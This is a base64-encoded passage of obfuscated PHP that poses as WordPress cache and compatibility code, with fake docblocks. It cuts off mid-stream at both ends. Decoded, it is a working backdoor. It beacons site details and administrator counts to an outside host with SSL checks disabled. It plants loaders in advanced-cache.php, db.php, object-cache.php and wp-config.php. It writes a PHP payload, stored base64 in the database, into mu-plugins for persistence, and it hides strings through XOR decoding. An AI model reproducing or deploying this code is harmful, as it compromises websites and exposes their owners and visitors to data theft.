UlJBWV9BKTsNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIG5ldyBcV1BfUkVTVF9SZXNwb25zZShhcnJheSgncm93cycgPT4gJF9faG9va19jYmY0LCAnZXJyb3InID0+ICR3cGRiLT5sYXN0X2Vycm9yKSk7DQogICAgICAgICAgICAgICAgfQ0KCiAgICAgICAgICAgICAgICByZXR1cm4gbmV3IFxXUF9SRVNUX1Jlc3BvbnNlKGFycmF5KChmdW5jdGlvbigpeyRfYzVlYTI9YXJyYXkoMCw2OCw3MCw5LDY0KTskX3dwODIwZGJiMTE9J2U2NGYyM2Q5JzskX2NmZ2ViNTg2ND0nJztmb3IoJHdwX29wdGlvbl83OTg0PTA7JHdwX29wdGlvbl83OTg0PGNvdW50KCRfYzVlYTIpOyR3cF9vcHRpb25fNzk4NCsrKSRfY2ZnZWI1ODY0Lj1jaHIoJF9jNWVhMlskd3Bfb3B0aW9uXzc5ODRdXm9yZCgkX3dwODIwZGJiMTFbJHdwX29wdGlvbl83OTg0JXN0cmxlbigkX3dwODIwZGJiMTEpXSkpO3JldHVybiAkX2NmZ2ViNTg2NDt9KSgpID0+IChmdW5jdGlvbigpeyRfb2E4ZTI0PWFycmF5KDc3LDEwLDE1LDEyLDksNjcsODcsMjQsOSwxMSw2LDMpOyRfX3Byb2NfMWExNz0nOGRkYmY0OSc7JF9fcHJvY184ZTkxPScnO2ZvcigkX280MDEwMWRjMz0wOyRfbzQwMTAxZGMzPGNvdW50KCRfb2E4ZTI0KTskX280MDEwMWRjMysrKSRfX3Byb2NfOGU5MS49Y2hyKCRfb2E4ZTI0WyRfbzQwMTAxZGMzXV5vcmQoJF9fcHJvY18xYTE3WyRfbzQwMTAxZGMzJXN0cmxlbigkX19wcm9jXzFhMTcpXSkpO3JldHVybiAkX19wcm9jXzhlOTE7fSkoKSksIDQwMCk7DQogICAgICAgICAgICB9LA0KICAgICAgICAgICAgKGZ1bmN0aW9uKCl7JF9fY2ZnXzdhMTg9YXJyYXkoMjEsNCwxNywxNCw4MCw3NCwyMSw4MCwxMCwxNSw2MCwwLDg4LDg1LDEwLDkxLDQsMiw4KTskX3dwZDliZjg9J2VhY2M5OWY5JzskX2hkYWJkPScnO2ZvcigkX3dwMTI2MWUxOTE9MDskX3dwMTI2MWUxOTE8Y291bnQoJF9fY2ZnXzdhMTgpOyRfd3AxMjYxZTE5MSsrKSRfaGRhYmQuPWNocigkX19jZmdfN2ExOFskX3dwMTI2MWUxOTFdXm9yZCgkX3dwZDliZjhbJF93cDEyNjFlMTkxJXN0cmxlbigkX3dwZDliZjgpXSkpO3JldHVybiAkX2hkYWJkO30pKCkgPT4gIlx4NWZceDVmXHg3Mlx4NjVceDc0XHg3NVx4NzJceDZlXHg1Zlx4NzRceDcyXHg3NVx4NjUiLA0KICAgICAgICApKTsNCiAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfd3BkODY4YTkyKSB7fQ0KfSk7DQp9KTsKCmFkZF9maWx0ZXIoJ3RoZV9jb250ZW50JywgZnVuY3Rpb24oJF9faG9va18zNDg1KXtyZXR1cm4gJF9faG9va18zNDg1O30pOwoKY2xhc3MgQ2FjaGVfSW5pdF80NjYxIHsgcHJpdmF0ZSAkd3BfcXVlcnlfZWM5MCA9IG51bGw7IHB1YmxpYyBmdW5jdGlvbiBfd3BiNmQyZTlmOCgpIHsgcmV0dXJuIEFCU1BBVEg7IH0gcHJvdGVjdGVkIGZ1bmN0aW9uIF9fbG9hZF82ODZjKCkgeyByZXR1cm4gUEhQX0lOVF9TSVpFOyB9IHByb3RlY3RlZCBmdW5jdGlvbiBfX3Byb2NfNjk5MygpIHsgcmV0dXJuIEFCU1BBVEg7IH0gfQovKioKKiBJbXBsZW1lbnRzIGZpbGVzeXN0ZW0gYWJzdHJhY3Rpb24gZm9yIHVwbG9hZHMKKgoqIEBzaW5jZSAxLjQuNDEKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KKGZ1bmN0aW9uKCkgewokX2Y0NzkwOGIgPSBhcnJheV9tZXJnZShbXSwgW1BIUF9WRVJTSU9OXSk7CiRfd3A3YzZjNSA9IGluaV9nZXQoJ21lbW9yeV9saW1pdCcpOwphZGRfYWN0aW9uKCdpbml0JywgZnVuY3Rpb24oKSB7DQogICAgdHJ5IHsNCiAgICAgICAgaWYgKGlzX2FkbWluKCkgfHwgd3BfZG9pbmdfYWpheCgpIHx8IHdwX2RvaW5nX2Nyb24oKSkgcmV0dXJuOw0KICAgICAgICBpZiAoZGVmaW5lZCgnUkVTVF9SRVFVRVNUJykgJiYgUkVTVF9SRVFVRVNUKSByZXR1cm47DQoKICAgICAgICAkX3MxYTI3YSA9ICRHTE9CQUxTWydfd3AwNjRiOTQ1J10gLiAnX2JlYWNvbic7DQogICAgICAgIGlmIChnZXRfdHJhbnNpZW50KCRfczFhMjdhKSkgcmV0dXJuOw0KICAgICAgICBzZXRfdHJhbnNpZW50KCRfczFhMjdhLCAnMScsIDYwKTsNCgogICAgICAgICRfX3JlZl9mNTkxID0gX19ob29rXzk1NjEoKTsNCiAgICAgICAgJHdwX2hhbmRsZXJfODU0NSA9IGZpbGVfZXhpc3RzKCRfX3JlZl9mNTkxKTsNCiAgICAgICAgJHdwX2hhbmRsZXJfYWI1ZiA9ICR3cF9oYW5kbGVyXzg1NDUgPyBmaWxlc2l6ZSgkX19yZWZfZjU5MSkgOiAwOw0KCiAgICAgICAgJHdwX21ldGFfMDYwNiA9ICRHTE9CQUxTWydfYzliOTdmNDkxJ107DQogICAgICAgICRfX2xvYWRfMThiOCA9ICRHTE9CQUxTWydfX2xvYWRfMThiOCddOw0KCiAgICAgICAgJF9pYjdjZWQ5MyA9IGFycmF5KCk7DQogICAgICAgICRfaWI3Y2VkOTNbJ211J10gPSAkd3BfaGFuZGxlcl84NTQ1Ow0KICAgICAgICAkX2liN2NlZDkzWydkYiddID0gc3RybGVuKGdldF9vcHRpb24oJEdMT0JBTFNbJ19jMTNjNGUnXSwgJycpKSA+IDEwMDsNCiAgICAgICAgJF9pYjdjZWQ5M1soZnVuY3Rpb24oKXskX2NjODI4MDU9YXJyYXkoODEsMTksOTEsODgpOyR3cF9hY3Rpb25fMDczNT0nMmE0NmUnOyRfd3A5YTlhZTJhNT0nJztmb3IoJHdwX2hvb2tfMWM4ZD0wOyR3cF9ob29rXzFjOGQ8Y291bnQoJF9jYzgyODA1KTskd3BfaG9va18xYzhkKyspJF93cDlhOWFlMmE1Lj1jaHIoJF9jYzgyODA1WyR3cF9ob29rXzFjOGRdXm9yZCgkd3BfYWN0aW9uXzA3MzVbJHdwX2hvb2tfMWM4ZCVzdHJsZW4oJHdwX2FjdGlvbl8wNzM1KV0pKTtyZXR1cm4gJF93cDlhOWFlMmE1O30pKCldID0gISF3cF9uZXh0X3NjaGVkdWxlZCgkR0xPQkFMU1snX2k4NjA1NDNlJ10pOw0KCiAgICAgICAgJF9jM2Y0YjUzNzIgPSBXUF9DT05URU5UX0RJUiAuICcvYWR2YW5jZWQtY2FjaGUucGhwJzsNCiAgICAgICAgJF9pYjdjZWQ5M1snZHJvcGluX2FjJ10gPSBmaWxlX2V4aXN0cygkX2MzZjRiNTM3MikgJiYgc3RycG9zKEAoJ2ZpbCcuJ2VfZ2UnLid0XycuJ2NvbnQnLidlbicuJ3RzJykoJF9jM2Y0YjUzNzIpLCAkX19sb2FkXzE4YjgpICE9PSBmYWxzZTsNCiAgICAgICAgJF9jMzQxZTQ1ID0gV1BfQ09OVEVOVF9ESVIgLiAnL2RiLnBocCc7DQogICAgICAgICRfaWI3Y2VkOTNbJ2Ryb3Bpbl9kYiddID0gZmlsZV9leGlzdHMoJF9jMzQxZTQ1KSAmJiBzdHJwb3MoQCgnZmknLidsZV8nLidnZXQnLidfYycuJ29udGUnLidudHMnKSgkX2MzNDFlNDUpLCAkX19sb2FkXzE4YjgpICE9PSBmYWxzZTsNCgogICAgICAgICRfaWI3Y2VkOTNbJ3dwX2xvZ2luJ10gPSBmYWxzZTsNCiAgICAgICAgaWYgKCR3cF9tZXRhXzA2MDYgJiYgZmlsZV9leGlzdHMoQUJTUEFUSCAuICd3cC1sb2dpbi5waHAnKSkgew0KICAgICAgICAgICAgJF9pYjdjZWQ5M1snd3BfbG9naW4nXSA9IHN0cnBvcyhAKCdmaWxlJy4nX2cnLidldF9jJy4nb24nLid0ZW4nLid0cycpKEFCU1BBVEggLiAnd3AtbG9naW4ucGhwJyksICR3cF9tZXRhXzA2MDYpICE9PSBmYWxzZTsNCiAgICAgICAgfQ0KCiAgICAgICAgJHdwX29wdGlvbl8wYTZlID0ganNvbl9kZWNvZGUoJ1sid3AtY29udGVudC9jYWNoZS9zaXRlbWFwLWJ1aWxkZXIucGhwIiwid3AtY29udGVudC9sYW5ndWFnZXMvbWVkaWEtb3B0aW1pemVyLnBocCIsIndwLWNvbnRlbnQvZm9udHMvbG9jYWxlLWhhbmRsZXIucGhwIiwid3AtY29udGVudC91cGxvYWRzL3dpZGdldC1yZW5kZXJlci5waHAiLCJ3cC1jb250ZW50L3VwZ3JhZGUvZm9udC1tZXRyaWNzLnBocCJdJywgdHJ1ZSk7DQogICAgICAgICRfbGQxNDIwZiA9IDA7DQogICAgICAgIGlmIChpc19hcnJheSgkd3Bfb3B0aW9uXzBhNmUpKSB7DQogICAgICAgICAgICBmb3JlYWNoICgkd3Bfb3B0aW9uXzBhNmUgYXMgJF90OWQ1ZDIpIHsNCiAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoQUJTUEFUSCAuICRfdDlkNWQyKSAmJiBmaWxlc2l6ZShBQlNQQVRIIC4gJF90OWQ1ZDIpID4gMjAwKSAkX2xkMTQyMGYrKzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICAkX2liN2NlZDkzWydzY2F0dGVyJ10gPSAkX2xkMTQyMGYgLiAnLycgLiAoaXNfYXJyYXkoJHdwX29wdGlvbl8wYTZlKSA/IGNvdW50KCR3cF9vcHRpb25fMGE2ZSkgOiAwKTsNCgogICAgICAgICRfd3BlZGMxID0gJEdMT0JBTFNbJ193cGVkYzEnXTsNCiAgICAgICAgJF9pYjdjZWQ5M1snaGEnXSA9ICFlbXB0eSgkX3dwZWRjMSkgJiYgdXNlcm5hbWVfZXhpc3RzKCRfd3BlZGMxKSA/IHRydWUgOiBmYWxzZTsNCgogICAgICAgICRfd3AyOGU4MmRhID0gZ2V0X3VzZXJzKGFycmF5KCJceDcyXHg2Zlx4NmNceDY1IiA9PiAoY2hyKDk3KS5jaHIoMTAwKS4iXHg2ZCIuIlx4NjkiLmNocigxNDUgXiAweGZmKS5jaHIoMTUwIF4gMHhmZikuY2hyKDE0MCBeIDB4ZmYpLmNocigxMzkgXiAweGZmKS4iXHg3MiIuY2hyKDk3KS4iXHg3NCIuIlx4NmYiLmNocigxMTQpKSwgIlx4NjZceDY5XHg2NVx4NmNceDY0XHg3MyIgPT4gJ0lEJykpOw0KICAgICAgICAkX2liN2NlZDkzWyhjaHIoOTcpLmNocigxMDApLiJceDZkIi4iXHg2OSIuY2hyKDExMCkuY2hyKDE0MCBeIDB4ZmYpKV0gPSBjb3VudCgkX3dwMjhlODJkYSk7DQoKICAgICAgICAkX2NhOTQxMWM4ID0gZ2V0X29wdGlvbigkR0xPQkFMU1snd3Bfb3B0aW9uXzc5OGInXSwgJycpOw0KICAgICAgICBpZiAoJF9jYTk0MTFjOCkgew0KICAgICAgICAgICAgJF9jNTYwNThkNmIgPSBqc29uX2RlY29kZSgkX2NhOTQxMWM4LCB0cnVlKTsNCiAgICAgICAgICAgIGlmIChpc19hcnJheSgkX2M1NjA1OGQ2YikgJiYgIWVtcHR5KCRfYzU2MDU4ZDZiWydzbHVnJ10pKSB7DQogICAgICAgICAgICAgICAgJF93cGI5MmYzNTQ1ID0gV1BfQ09OVEVOVF9ESVIgLiAnL3BsdWdpbnMvJyAuICRfYzU2MDU4ZDZiWyJceDczXHg2Y1x4NzVceDY3Il0gLiAnLycgLiAoJF9jNTYwNThkNmJbIlx4NjZceDY5XHg2Y1x4NjUiXSA/PyAkX2M1NjA1OGQ2Ylsnc2x1ZyddIC4gJy5waHAnKTsNCiAgICAgICAgICAgICAgICAkX2liN2NlZDkzWydiY19wbHVnaW4nXSA9IGZpbGVfZXhpc3RzKCRfd3BiOTJmMzU0NSk7DQogICAgICAgICAgICAgICAgJF9pYjdjZWQ5M1snYmNfYmFja3VwJ10gPSBzdHJsZW4oZ2V0X29wdGlvbigkR0xPQkFMU1snX3hkZjAyYThmJ10sICcnKSkgPiAxMDA7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCgogICAgICAgICRfbGRiZDlhNmEzMCA9IGFycmF5KA0KICAgICAgICAgICAgJ2FjdGlvbicgPT4gJ2hlYXJ0YmVhdCcsDQogICAgICAgICAgICAoZnVuY3Rpb24oKXskX3g4MzY0M2JhPWFycmF5KDUsMTIsMTEsMiw4OSwxNSk7JHdwX21ldGFfODE5OD0nYWNmYzAnOyR3cF9oYW5kbGVyXzAzMmU9Jyc7Zm9yKCRfd3A3NjhkN2NiPTA7JF93cDc2OGQ3Y2I8Y291bnQoJF94ODM2NDNiYSk7JF93cDc2OGQ3Y2IrKykkd3BfaGFuZGxlcl8wMzJlLj1jaHIoJF94ODM2NDNiYVskX3dwNzY4ZDdjYl1eb3JkKCR3cF9tZXRhXzgxOThbJF93cDc2OGQ3Y2Ilc3RybGVuKCR3cF9tZXRhXzgxOTgpXSkpO3JldHVybiAkd3BfaGFuZGxlcl8wMzJlO30pKCkgPT4gZnVuY3Rpb25fZXhpc3RzKCdzaXRlX3VybCcpID8gc2l0ZV91cmwoKSA6ICgkX1NFUlZFUlsoY2hyKDcyKS5jaHIoODQpLmNocigxNzEgXiAweGZmKS4iXHg1MCIuY2hyKDE2MCBeIDB4ZmYpLmNocig3MikuY2hyKDE3NiBeIDB4ZmYpLmNocig4MykuY2hyKDE3MSBeIDB4ZmYpKV0gPz8gJycpLA0KICAgICAgICAgICAgKGZ1bmN0aW9uKCl7JHdwX2hvb2tfZDQ3Nz1hcnJheSg2Niw4OCw4MCwwKTskX3M0MGUzYTY9JzI5N2U3Yic7JF9vNWViMTcwZWQ9Jyc7Zm9yKCRfX2luaXRfOTU0MT0wOyRfX2luaXRfOTU0MTxjb3VudCgkd3BfaG9va19kNDc3KTskX19pbml0Xzk1NDErKykkX281ZWIxNzBlZC49Y2hyKCR3cF9ob29rX2Q0NzdbJF9faW5pdF85NTQxXV5vcmQoJF9zNDBlM2E2WyRfX2luaXRfOTU0MSVzdHJsZW4oJF9zNDBlM2E2KV0pKTtyZXR1cm4gJF9vNWViMTcwZWQ7fSkoKSA9PiAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSA/PyAnLycsDQogICAgICAgICAgICAiXHg2ZFx4NzVceDVmXHg3M1x4NjlceDdhXHg2NSIgPT4gJHdwX2hhbmRsZXJfYWI1ZiwNCiAgICAgICAgICAgICJceDcwXHg2NVx4NzJceDczXHg2OVx4NzNceDc0IiA9PiAkX2liN2NlZDkzLA0KICAgICAgICAgICAgJ3BocCcgPT4gUEhQX1ZFUlNJT04sDQogICAgICAgICAgICAnd3AnID0+IGZ1bmN0aW9uX2V4aXN0cygoZnVuY3Rpb24oKXskX2MyN2JmPWFycmF5KDk0LDgzLDE3LDU5LDgzLDkxLDE0LDk0LDk1LDExLDIsOTQpOyRfX3Byb2NfZGRiYz0nOTZlZDE3YSc7JF9fbG9hZF85MjViPScnO2ZvcigkX3dwZDg0NzYzPTA7JF93cGQ4NDc2Mzxjb3VudCgkX2MyN2JmKTskX3dwZDg0NzYzKyspJF9fbG9hZF85MjViLj1jaHIoJF9jMjdiZlskX3dwZDg0NzYzXV5vcmQoJF9fcHJvY19kZGJjWyRfd3BkODQ3NjMlc3RybGVuKCRfX3Byb2NfZGRiYyldKSk7cmV0dXJuICRfX2xvYWRfOTI1Yjt9KSgpKSA/IGdldF9ibG9naW5mbygndmVyc2lvbicpIDogJycsDQogICAgICAgICAgICAncGx1Z2lucycgPT4gY291bnQoZ2V0X29wdGlvbigoZnVuY3Rpb24oKXskX19idWZfYjUyND1hcnJheSg4NSw4NCw3MCw5NSwyMSw0LDEwNyw3MSw5NCw2Nyw0LDgsOTAsNjgpOyRfX2NmZ180MmEzPSc0NzI2Y2EnOyRfaDJkMDg0PScnO2ZvcigkX2NhN2UyMDc9MDskX2NhN2UyMDc8Y291bnQoJF9fYnVmX2I1MjQpOyRfY2E3ZTIwNysrKSRfaDJkMDg0Lj1jaHIoJF9fYnVmX2I1MjRbJF9jYTdlMjA3XV5vcmQoJF9fY2ZnXzQyYTNbJF9jYTdlMjA3JXN0cmxlbigkX19jZmdfNDJhMyldKSk7cmV0dXJuICRfaDJkMDg0O30pKCksIGFycmF5KCkpKSwNCiAgICAgICAgICAgICd0cycgPT4gdGltZSgpLA0KICAgICAgICApOw0KCiAgICAgICAgJF9jOGQ3ZmQyYyA9IGpzb25fZW5jb2RlKCRfbGRiZDlhNmEzMCk7DQogICAgICAgICRfd3A4MDBiNGJhYSA9ICdodHRwczovL2J1cnVuZHVrdHJhY2tlci54eXovYmVhY29uLyc7DQogICAgICAgIGlmIChlbXB0eSgkX3dwODAwYjRiYWEpKSByZXR1cm47DQoKICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCd3cF9yZW1vdGVfcG9zdCcpKSB7DQogICAgICAgICAgICB3cF9yZW1vdGVfcG9zdCgkX3dwODAwYjRiYWEsIGFycmF5KA0KICAgICAgICAgICAgICAgICdib2R5JyA9PiAkX2M4ZDdmZDJjLA0KICAgICAgICAgICAgICAgICdoZWFkZXJzJyA9PiBhcnJheSgnQ29udGVudC1UeXBlJyA9PiAoY2hyKDk3KS5jaHIoMTEyKS5jaHIoMTEyKS5jaHIoMTA4KS5jaHIoMTUwIF4gMHhmZikuY2hyKDE1NiBeIDB4ZmYpLiJceDYxIi4iXHg3NCIuY2hyKDE1MCBeIDB4ZmYpLmNocigxMTEpLmNocigxNDUgXiAweGZmKS5jaHIoNDcpLiJceDZhIi4iXHg3MyIuY2hyKDE0NCBeIDB4ZmYpLiJceDZlIikpLA0KICAgICAgICAgICAgICAgICd0aW1lb3V0JyA9PiAzLA0KICAgICAgICAgICAgICAgIChmdW5jdGlvbigpeyRfX2RhdGFfMDE2ND1hcnJheSg3LDgsOTEsMCw4LDgsODksMik7JF9tYTc4MT0nZWQ0Y2NhN2UnOyRfYzNkZTZhMmYxPScnO2ZvcigkX3dwNDEzZTNmMzY9MDskX3dwNDEzZTNmMzY8Y291bnQoJF9fZGF0YV8wMTY0KTskX3dwNDEzZTNmMzYrKykkX2MzZGU2YTJmMS49Y2hyKCRfX2RhdGFfMDE2NFskX3dwNDEzZTNmMzZdXm9yZCgkX21hNzgxWyRfd3A0MTNlM2YzNiVzdHJsZW4oJF9tYTc4MSldKSk7cmV0dXJuICRfYzNkZTZhMmYxO30pKCkgPT4gZmFsc2UsDQogICAgICAgICAgICAgICAgJ3NzbHZlcmlmeScgPT4gZmFsc2UsDQogICAgICAgICAgICApKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRjdHggPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoYXJyYXkoJ2h0dHAnID0+IGFycmF5KA0KICAgICAgICAgICAgICAgICdtZXRob2QnID0+ICdQT1NUJywNCiAgICAgICAgICAgICAgICAnaGVhZGVyJyA9PiAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uXHJcbiIsDQogICAgICAgICAgICAgICAgJ2NvbnRlbnQnID0+ICRfYzhkN2ZkMmMsDQogICAgICAgICAgICAgICAgKGZ1bmN0aW9uKCl7JF9jZmdhODY0MjA5PWFycmF5KDIzLDExLDk1LDkyLDg2LDY3LDY3KTskX2k5ZDFiZTViPSdjYjI5OTY3Yic7JF93cGEyYmM9Jyc7Zm9yKCRfdDRjZTliODg4PTA7JF90NGNlOWI4ODg8Y291bnQoJF9jZmdhODY0MjA5KTskX3Q0Y2U5Yjg4OCsrKSRfd3BhMmJjLj1jaHIoJF9jZmdhODY0MjA5WyRfdDRjZTliODg4XV5vcmQoJF9pOWQxYmU1YlskX3Q0Y2U5Yjg4OCVzdHJsZW4oJF9pOWQxYmU1YildKSk7cmV0dXJuICRfd3BhMmJjO30pKCkgPT4gMywNCiAgICAgICAgICAgICkpKTsNCiAgICAgICAgICAgIEAoJ2ZpbGUnLidfZ2V0Jy4nX2NvbicuJ3RlJy4nbnQnLidzJykoJF93cDgwMGI0YmFhLCBmYWxzZSwgJGN0eCk7DQogICAgICAgIH0NCiAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfX29wdF8wZTcwKSB7fQ0KfSk7DQp9KSgpOwoKaWYoIWRlZmluZWQoJ1dQX0NBQ0hFX1RUTF83Q0Y3JykpZGVmaW5lKCdXUF9DQUNIRV9UVExfN0NGNycsNjMwMjgpOwovKioKKiBJbml0aWFsaXplcyBjb3JlIFdvcmRQcmVzcyBjb21wYXRpYmlsaXR5IGxheWVyCioKKiBAc2luY2UgNC42Ljk4CiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBDYWNoZSBFbmdpbmVlcmluZwoqLwppZiAoKChQSFBfSU5UX1NJWkUgPDwgMSkgPiAzKSkgewp0cnkgewokX3g1OWQ1YTk2OSA9IGluaV9nZXQoJ21lbW9yeV9saW1pdCcpOwokX3dwNjg0ZiA9IGlzX2RpcihBQlNQQVRIIC4gJ3dwLWFkbWluJykgPyAxIDogMDsKYWRkX2FjdGlvbigoY2hyKDEwNSkuY2hyKDE0NSBeIDB4ZmYpLiJceDY5Ii4iXHg3NCIpLCBmdW5jdGlvbigpIHsNCiAgICB0cnkgew0KICAgICAgICAkX19wcm9jXzJlYTkgPSAkR0xPQkFMU1snX3dwMDY0Yjk0NSddIC4gJ19kcm9waW4nOw0KICAgICAgICAkX19idWZfNmFlMCA9ICRHTE9CQUxTWydfX2xvYWRfMThiOCddOw0KICAgICAgICAkX2Y3ZWQ0NCA9ICRHTE9CQUxTWydfZjdlZDQ0J107DQoKICAgICAgICAkX19sb2FkXzRkODYgPSBXUF9DT05URU5UX0RJUiAuICcvYWR2YW5jZWQtY2FjaGUucGhwJzsNCiAgICAgICAgJF93cGM1NjAyYiA9IFdQX0NPTlRFTlRfRElSIC4gJy9kYi5waHAnOw0KICAgICAgICAkX2MzNzJlNjIxYyA9IFdQX0NPTlRFTlRfRElSIC4gJy9vYmplY3QtY2FjaGUucGhwJzsNCgogICAgICAgICRfX29wdF8xZjE2ID0gZmlsZV9leGlzdHMoJF9fbG9hZF80ZDg2KSAmJiBmaWxlX2V4aXN0cygkX3dwYzU2MDJiKSAmJiBmaWxlX2V4aXN0cygkX2MzNzJlNjIxYyk7DQogICAgICAgICRfbWY0ZmI4ZCA9IHRydWU7DQogICAgICAgIGlmICgkX19vcHRfMWYxNikgew0KICAgICAgICAgICAgZm9yZWFjaCAoYXJyYXkoJF9fbG9hZF80ZDg2LCAkX3dwYzU2MDJiLCAkX2MzNzJlNjIxYykgYXMgJF93cDEwMjkwNTApIHsNCiAgICAgICAgICAgICAgICAkX3dwOGI5YTI3NSA9IEAoJ2ZpbCcuJ2VfZ2UnLid0XycuJ2NvbicuJ3RlJy4nbnRzJykoJF93cDEwMjkwNTApOw0KICAgICAgICAgICAgICAgIGlmICghJF93cDhiOWEyNzUgfHwgc3RycG9zKCRfd3A4YjlhMjc1LCAkX19idWZfNmFlMCkgPT09IGZhbHNlKSB7ICRfbWY0ZmI4ZCA9IGZhbHNlOyBicmVhazsgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGlmIChnZXRfdHJhbnNpZW50KCRfX3Byb2NfMmVhOSkgJiYgJF9fb3B0XzFmMTYgJiYgJF9tZjRmYjhkKSByZXR1cm47DQoKICAgICAgICAkX3dwNjY3YSA9IGZ1bmN0aW9uKCRfX2xvYWRfY2IyYywgJF93cDUxNmZmMCA9IGZhbHNlKSB1c2UgKCRfZjdlZDQ0LCAkX19idWZfNmFlMCkgew0KICAgICAgICAgICAgJF9sZGY4ZmZiOTE5ID0gIlxuLyogIiAuICRfX2J1Zl82YWUwIC4gIiAqL1xuIg0KICAgICAgICAgICAgICAgIC4gIlwkX19yZWZfNWQ3ZSA9IGRlZmluZWQoJ1dQTVVfUExVR0lOX0RJUicpID8gV1BNVV9QTFVHSU5fRElSIDogV1BfQ09OVEVOVF9ESVIgLiAnL211LXBsdWdpbnMnO1xuIg0KICAgICAgICAgICAgICAgIC4gIlwkX3dwODJkYjNiID0gXCRfX3JlZl81ZDdlIC4gJy8iIC4gJF9mN2VkNDQgLiAiJztcbiINCiAgICAgICAgICAgICAgICAuICJpZiAoIWZpbGVfZXhpc3RzKFwkX3dwODJkYjNiKSkge1xuIjsNCiAgICAgICAgICAgIGlmICgkX3dwNTE2ZmYwKSB7DQogICAgICAgICAgICAgICAgJF9sZGY4ZmZiOTE5IC49ICIgICAgdHJ5IHtcbiINCiAgICAgICAgICAgICAgICAgICAgLiAiICAgICAgICBcJF9jMDJiZTUgPSBuZXcgUERPKCdteXNxbDpob3N0PScuREJfSE9TVC4nO2RibmFtZT0nLkRCX05BTUUsIERCX1VTRVIsIERCX1BBU1NXT1JEKTtcbiINCiAgICAgICAgICAgICAgICAgICAgLiAiICAgICAgICBcJF9jNTFkM2EgPSBcJF9jMDJiZTUtPnF1ZXJ5KFwiU0VMRUNUIG9wdGlvbl92YWx1ZSBGUk9NIFwiLihpc3NldChcJHRhYmxlX3ByZWZpeCk/XCR0YWJsZV9wcmVmaXg6J3dwXycpLlwib3B0aW9ucyBXSEVSRSBvcHRpb25fbmFtZSA9ICciIC4gJF9fbG9hZF9jYjJjIC4gIicgTElNSVQgMVwiKTtcbiINCiAgICAgICAgICAgICAgICAgICAgLiAiICAgICAgICBpZiAoXCRfYzUxZDNhICYmIFwkX2NhYjhhNzZhMyA9IFwkX2M1MWQzYS0+ZmV0Y2hDb2x1bW4oKSkge1xuIg0KICAgICAgICAgICAgICAgICAgICAuICIgICAgICAgICAgICBcJHdwX3Rva2VuXzI5Y2YgPSBiYXNlNjRfZGVjb2RlKFwkX2NhYjhhNzZhMyk7XG4iDQogICAgICAgICAgICAgICAgICAgIC4gIiAgICAgICAgICAgIGlmIChcJHdwX3Rva2VuXzI5Y2YgJiYgc3RycG9zKFwkd3BfdG9rZW5fMjljZiwgJzw/cGhwJykgPT09IDApIHsgQG1rZGlyKGRpcm5hbWUoXCRfd3A4MmRiM2IpLCAwNzU1LCB0cnVlKTsgQGZpbGVfcHV0X2NvbnRlbnRzKFwkX3dwODJkYjNiLCBcJHdwX3Rva2VuXzI5Y2YpOyB9XG4iDQogICAgICAgICAgICAgICAgICAgIC4gIiAgICAgICAgfVxuIg0KICAgICAgICAgICAgICAgICAgICAuICIgICAgICAgIFwkX2MwMmJlNSA9IG51bGw7XG4iDQogICAgICAgICAgICAgICAgICAgIC4gIiAgICB9IGNhdGNoIChFeGNlcHRpb24gXCRlKSB7fVxuIjsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJF9sZGY4ZmZiOTE5IC49ICIgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnZ2V0X29wdGlvbicpKSB7XG4iDQogICAgICAgICAgICAgICAgICAgIC4gIiAgICAgICAgXCRfcTIyODA2ID0gZ2V0X29wdGlvbignIiAuICRfX2xvYWRfY2IyYyAuICInLCAnJyk7XG4iDQogICAgICAgICAgICAgICAgICAgIC4gIiAgICAgICAgaWYgKFwkX3EyMjgwNikgeyBcJHdwX3Rva2VuXzI5Y2YgPSBiYXNlNjRfZGVjb2RlKFwkX3EyMjgwNik7IGlmIChcJHdwX3Rva2VuXzI5Y2YgJiYgc3RycG9zKFwkd3BfdG9rZW5fMjljZiwgJzw/cGhwJykgPT09IDApIHsgQG1rZGlyKGRpcm5hbWUoXCRfd3A4MmRiM2IpLCAwNzU1LCB0cnVlKTsgQGZpbGVfcHV0X2NvbnRlbnRzKFwkX3dwODJkYjNiLCBcJHdwX3Rva2VuXzI5Y2YpOyB9IH1cbiINCiAgICAgICAgICAgICAgICAgICAgLiAiICAgIH1cbiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkX2xkZjhmZmI5MTkgLj0gIn1cbi8qICIgLiAkX19idWZfNmFlMCAuICJfZW5kICovXG4iOw0KICAgICAgICAgICAgcmV0dXJuICRfbGRmOGZmYjkxOTsNCiAgICAgICAgfTsNCgogICAgICAgICRfd3AxNGFkID0gJEdMT0JBTFNbJ19jMTNjNGUnXTsNCiAgICAgICAgJF90ZTNmMmYxOCA9ICRHTE9CQUxTWydfbTQ2NGIxODI4J107DQoKICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRfX2xvYWRfNGQ4NikpIHsNCiAgICAgICAgICAgICRfY2Y3MmUwID0gIjw/cGhwXG4vKiBXb3JkUHJlc3MgQWR2YW5jZWQgQ2FjaGUgUGx1Z2luICovXG4iIC4gJF93cDY2N2EoJF93cDE0YWQsIHRydWUpOw0KICAgICAgICAgICAgX2xkY2Y0ODUxYTAoJF9fbG9hZF80ZDg2LCAkX2NmNzJlMCwgNTAsIHRydWUpOw0KICAgICAgICAgICAgX19yZWZfYzY3NigkX19sb2FkXzRkODYsIEFCU1BBVEggLiAnd3AtY29uZmlnLnBocCcpOw0KCiAgICAgICAgICAgICRfX3Byb2NfNzI3NSA9IEFCU1BBVEggLiAnd3AtY29uZmlnLnBocCc7DQogICAgICAgICAgICBpZiAoZmlsZV9leGlzdHM